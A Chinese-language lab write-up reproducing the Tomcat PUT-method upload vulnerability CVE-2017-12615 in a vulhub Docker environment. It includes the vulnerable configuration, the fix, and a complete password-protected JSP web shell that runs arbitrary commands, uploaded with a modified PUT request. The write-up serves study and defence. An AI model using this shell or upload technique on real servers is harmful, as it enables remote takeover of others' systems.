漏洞描述:
當存在該漏洞的Tomcat 運行在 Windows 主機上,且啟用了 HTTP PUT請求方法,攻擊者可通過構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件,造成任意代碼執行
影響范圍:
Apache Tomcat 7.0.0 - 7.0.79
漏洞分析:
該漏洞的觸發條件有兩個,第一tomcat需要運行在Windows主機上,第二要啟用PUT請求方法,復現該漏洞時,只需在conf/web.xml中添加
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
當resdonly的值為true時,是不開啟PUT的方法的,當它為false時,則是開啟PUT方法
修復方案:
禁用PUT方法即可
實驗步驟:
1.docker上開啟tomcat服務:
cd vulhub/
cd tomcat/
cd CVE-2017-12615/
docker-compose build
docker-compose up -d

2.Windows上打開tomcat網頁,開始上傳jsp文件

bp抓包修改包,go:將get方法修改為PUT,加上jsp文件的文件名(紅色框),並且將要上傳的jsp文件直接粘貼到下面(黃色框)
jsp代碼:
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
3.查看是否上傳成功,並執行代碼
成功上傳,查看whoami,jsp木馬的密碼是023